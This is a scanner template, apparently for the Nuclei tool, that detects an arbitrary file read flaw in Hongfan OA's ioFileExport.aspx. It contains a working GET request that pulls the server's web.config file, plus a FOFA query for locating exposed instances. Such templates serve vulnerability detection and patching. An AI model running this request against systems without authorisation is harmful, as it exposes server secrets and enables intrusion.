Description
Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
id: hongfan-ioffice-lfi
info:
name: Hongfan OA ioFileExport.aspx - Arbitrary File Read
author: SleepingBag945
severity: medium
description: |
Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
reference:
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E7%BA%A2%E5%B8%86OA/%E7%BA%A2%E5%B8%86OA%20ioFileExport.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
- https://github.com/qingchenhh/qc_poc/blob/main/Goby/ioffice_file_read.go
metadata:
verified: true
max-request: 1
fofa-query: app="红帆-ioffice"
tags: hongfan,lfi,vuln
variables:
filename: "{{rand_base(5)}}"
http:
- method: GET
path:
- "{{BaseURL}}/ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename={{filename}}.txt&ContentType=application/octet-stream"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "configSection") && contains(body, "iOfficeUpload")'
- 'contains(header, "application/octet-stream")'
condition: and
# digest: 4a0a00473045022100baabdaaa1392477bb65d72d34717a3920d8d5ff11ff843f36c941a9f9b51c4a902204d95efc2f8eeb307f8b7d7357eda8d40a5b2b970b514a2176895f1d12c564e51:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.